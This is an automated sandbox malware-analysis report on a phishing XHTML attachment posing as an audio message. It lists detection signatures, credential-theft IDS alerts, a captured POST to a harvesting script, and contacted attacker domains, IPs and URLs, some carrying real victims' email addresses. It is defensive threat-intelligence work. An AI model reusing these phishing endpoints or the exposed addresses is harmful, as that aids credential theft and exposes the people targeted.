Edit tour

Windows Analysis Report
#Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml

Overview

General Information

Sample name:	#Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml renamed because original name is a hash value
Original sample name:	Audio_Msg Junklessfoods.xhtml
Analysis ID:	1649367
MD5:	6d100346b0d3516c43b388901bac0fbc
SHA1:	0bb4ed60499d155aea77fb45b6965ce5b989dd66
SHA256:	3223e1c35cc26f15fc91336236f99193e65c4dae227be3d4acb64e993402c62a
Infos:

Detection

HTMLPhisher

Score:	76
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Suricata IDS alerts for network traffic

Yara detected HtmlPhish10

HTML IFrame injector detected

HTML Script injector detected

Suspicious Javascript code found in HTML file

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

HTML body contains low number of good links

HTML body contains password input but no form action

IP address seen in connection with other malware

Invalid 'forgot password' link found

No HTML title found

None HTTPS page querying sensitive user data (password, username or email)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6184 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7164 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2336,i,8852715314072939056,17037533640965980433,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2268 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2336,i,8852715314072939056,17037533640965980433,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4824 /prefetch:8 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7784 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\#Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.6.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Suricata Signatures

ETPRO PHISHING Successful Generic Phish 2021-03-25

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-26T18:08:22.361430+0100	2847819	1	Successful Credential Theft Detected	192.168.2.5	49753	104.168.138.190	443	TCP
2025-03-26T18:08:42.152357+0100	2847819	1	Successful Credential Theft Detected	192.168.2.5	49762	104.168.138.190	443	TCP
2025-03-26T18:08:55.103763+0100	2847819	1	Successful Credential Theft Detected	192.168.2.5	49773	104.168.138.190	443	TCP
2025-03-26T18:09:03.969663+0100	2847819	1	Successful Credential Theft Detected	192.168.2.5	49779	104.168.138.190	443	TCP
2025-03-26T18:09:12.865329+0100	2847819	1	Successful Credential Theft Detected	192.168.2.5	49784	104.168.138.190	443	TCP
2025-03-26T18:09:21.669520+0100	2847819	1	Successful Credential Theft Detected	192.168.2.5	49789	104.168.138.190	443	TCP
2025-03-26T18:10:07.990579+0100	2847819	1	Successful Credential Theft Detected	192.168.2.5	49795	104.168.138.190	443	TCP
2025-03-26T18:10:16.759083+0100	2847819	1	Successful Credential Theft Detected	192.168.2.5	49800	104.168.138.190	443	TCP

HTTP traffic detected: POST /kuk/xwps.php HTTP/1.1Host: avcbtech.siteConnection: keep-aliveContent-Length: 60sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: application/x-www-form-urlencoded; charset=UTF-8sec-ch-ua-mobile: ?0Origin: nullSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: chromecache_112.3.dr	String found in binary or memory: https://aadcdn.msauth.net/ests/2.1/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Source: chromecache_114.3.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_114.3.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49687
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49686
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49685
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49684
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 142.250.64.68:443 -> 192.168.2.5:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 139.28.36.38:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.174.100.20:443 -> 192.168.2.5:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.66.137:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.36.193:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.36.193:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.36.193:443 -> 192.168.2.5:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 199.232.36.193:443 -> 192.168.2.5:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.13.205:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.168.138.190:443 -> 192.168.2.5:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.168.138.190:443 -> 192.168.2.5:49759 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6184_1643806537

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6184_1643806537

Jump to behavior

Source: classification engine

Classification label: mal76.phis.winXHTML@25/23@22/11

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2336,i,8852715314072939056,17037533640965980433,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2268 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2336,i,8852715314072939056,17037533640965980433,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4824 /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\#Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2336,i,8852715314072939056,17037533640965980433,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2268 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=printing.mojom.UnsandboxedPrintBackendHost --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2336,i,8852715314072939056,17037533640965980433,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=4824 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 File Deletion	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://office.avcbtech.store/kuk/xls/k1u2k.js?uid=rebecca.karpinos@junklessfoods.com	0%	Avira URL Cloud	safe
file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	0%	Avira URL Cloud	safe
https://avcbtech.site/kuk/xwps.php	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
s-part-0012.t-0009.t-msedge.net	13.107.246.40	true	false	high
office.avcbtech.store	139.28.36.38	true	false	high
code.jquery.com	151.101.66.137	true	false	high
avcbtech.site	104.168.138.190	true	false	high
server1.linxcoded.top	185.174.100.76	true	false	high
www.google.com	142.250.64.68	true	false	high
api.ipify.org	104.26.13.205	true	false	high
sender.linxcoded.top	185.174.100.20	true	false	high
ipv4.imgur.map.fastly.net	199.232.36.193	true	false	high
i.imgur.com	unknown	unknown	false	high
_8248._https.server1.linxcoded.top	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://i.imgur.com/0HdPsKK.png	false		high
https://office.avcbtech.store/kuk/xls/k1u2k.js?uid=rebecca.karpinos@junklessfoods.com	true	Avira URL Cloud: safe	unknown
https://avcbtech.site/kuk/xwps.php	true	Avira URL Cloud: safe	unknown
https://sender.linxcoded.top/start/xls/includes/css6.css	false		high
https://i.imgur.com/KAb5SEy.png	false		high
https://code.jquery.com/jquery-3.1.1.min.js	false		high
https://api.ipify.org/?format=json	false		high
file:///C:/Users/user/Desktop/%23Ud83d%23Udd0aAudio_Msg%20Junklessfoods.xhtml	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/twbs/bootstrap/blob/master/LICENSE)	chromecache_114.3.dr	false		high
https://getbootstrap.com)	chromecache_114.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.174.100.20	sender.linxcoded.top	Ukraine	8100	ASN-QUADRANET-GLOBALUS	false
139.28.36.38	office.avcbtech.store	Ukraine	42331	FREEHOSTUA	false
142.250.64.68	www.google.com	United States	15169	GOOGLEUS	false
185.174.100.76	server1.linxcoded.top	Ukraine	8100	ASN-QUADRANET-GLOBALUS	false
104.168.138.190	avcbtech.site	United States	54290	HOSTWINDSUS	false
199.232.36.193	ipv4.imgur.map.fastly.net	United States	54113	FASTLYUS	false
151.101.66.137	code.jquery.com	United States	54113	FASTLYUS	false
104.26.13.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
172.67.74.152	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.9
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1649367
Start date and time:	2025-03-26 18:06:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowshtmlcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	#Ud83d#Udd0aAudio_Msg Junklessfoods.xhtml renamed because original name is a hash value
Original Sample Name:	Audio_Msg Junklessfoods.xhtml
Detection:	MAL
Classification:	mal76.phis.winXHTML@25/23@22/11
Cookbook Comments:	Found application associated with file extension: .xhtml

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, sppsvc.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.251.40.99, 142.251.40.238, 172.253.63.84, 142.250.176.206, 142.251.35.170, 199.232.90.172, 142.251.40.227, 23.9.183.29, 20.12.23.50, 13.107.246.40, 20.31.169.57
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, arc.msn.com, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.174.100.20	#Ud83d#Udd0aAudio_Msg Overlakehospital.xhtml	Get hash	malicious	HTMLPhisher	Browse
	#Ud83d#Udd0aAudio_Msg Umanitoba.xhtml	Get hash	malicious	HTMLPhisher	Browse
	Play_VM-Now(apply)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse
	auuu.xhtml	Get hash	malicious	HTMLPhisher	Browse
	ATT11027.xhtml	Get hash	malicious	HTMLPhisher	Browse
	Play_VM-Now(bfrieden)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse
	Play_VM-Now(eric.basil)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse
	ATT09858.htm	Get hash	malicious	HTMLPhisher	Browse
	https://keep.za.com/cgi//redirect.php#rbruening@elford.com	Get hash	malicious	HtmlDropper	Browse
139.28.36.38	#Ud83d#Udd0aAudio_Msg Overlakehospital.xhtml	Get hash	malicious	HTMLPhisher	Browse
	#Ud83d#Udd0aAudio_Msg Umanitoba.xhtml	Get hash	malicious	HTMLPhisher	Browse
	Play_VM-Now(apply)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse
	auuu.xhtml	Get hash	malicious	HTMLPhisher	Browse
	ATT11027.xhtml	Get hash	malicious	HTMLPhisher	Browse
	Play_VM-Now(bfrieden)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse
	Play_VM-Now(eric.basil)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse
	ATT09858.htm	Get hash	malicious	HTMLPhisher	Browse
	ATT99718.htm	Get hash	malicious	Unknown	Browse
185.174.100.76	#Ud83d#Udd0aAudio_Msg Overlakehospital.xhtml	Get hash	malicious	HTMLPhisher	Browse
	#Ud83d#Udd0aAudio_Msg Umanitoba.xhtml	Get hash	malicious	HTMLPhisher	Browse
	Play_VM-Now(apply)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse
	auuu.xhtml	Get hash	malicious	HTMLPhisher	Browse
	ATT11027.xhtml	Get hash	malicious	HTMLPhisher	Browse
	Play_VM-Now(bfrieden)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse
	Play_VM-Now(eric.basil)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse
	ATT09858.htm	Get hash	malicious	HTMLPhisher	Browse
	https://cut.sa.com/clr/redirect.php#LINXCODERSEMAILbmclane@burbankca.gov	Get hash	malicious	HtmlDropper	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
avcbtech.site	#Ud83d#Udd0aAudio_Msg Umanitoba.xhtml	Get hash	malicious	HTMLPhisher	Browse	104.168.138.190
	Play_VM-Now(apply)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	104.168.138.190
	auuu.xhtml	Get hash	malicious	HTMLPhisher	Browse	104.168.138.190
	ATT11027.xhtml	Get hash	malicious	HTMLPhisher	Browse	104.168.138.190
	Play_VM-Now(bfrieden)VWAV.xhtml	Get hash	malicious	HTMLPhisher	Browse	104.168.138.190
	ATT09858.htm	Get hash	malicious	HTMLPhisher	Browse	104.168.138.190
code.jquery.com	https://www.transfernow.net/en/bld?utm_source=20250326Sb0JUtZm	Get hash	malicious	HTMLPhisher	Browse	151.101.66.137
	https://buildin.ai/share/3cb1e5fb-3724-474b-95f2-a37c9421e6d9?code=38HYMW&embed=true	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.66.137
	https://click.pstmrk.it/3s/click.pstmrk.it%2F3s%2Fclick.pstmrk.it%252F3s%252Fclick.pstmrk.it%25252F3s%25252Fi29tl3nj.zezmubli.es%2525252FXulHox%2525252F%25252FUsrr%25252FIiC8AQ%25252FAQ%25252F07966ed2-96ec-40fb-b7e9-0ee0c7133c29%25252F3%25252Fy-6RHXKfOQ%252FUsrr%252FIyC8AQ%252FAQ%252F0abaa239-87f9-4dd8-9cb4-bfbaa75e3282%252F3%252FD0l4KVXadZ%2FUsrr%2FJCC8AQ%2FAQ%2F7a2ed859-39b1-4b47-862f-32e92bbed180%2F3%2FGgYmyiSL_B/Usrr/JiC8AQ/AQ/e83c472a-0047-4623-9c59-78828204aff6/3/1oR6yMUadL#dGhvbWFzX3dlcm5lckBjb25kZW5hc3QuY29t	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://url.us.m.mimecastprotect.com/s/MVhvC73mEAFPGwlS8fWUoQQY8?domain=link.edgepilot.com	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://www.google.com/url?q=https%3A%2F%2Fcsnrda.net%2Fun-plugins%2F&sa=D&sntz=1&usg=AOvVaw1HtbC798C9cvS3J1_HKx3j#?8407378349Family=a2lyc3RpZS5yZWVzQHF1aWx0ZXJjaGV2aW90LmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://forms.office.com/e/tacqKUPtuA	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	151.101.130.137
	https://uz5k.vsmaemhjvk.ru/vHFigT/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.130.137
	Helenaagri profit_sharing_plan.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	151.101.2.137
	https://inspiration-inspiration-2954.my.salesforce-sites.com/jrs	Get hash	malicious	Unknown	Browse	151.101.194.137
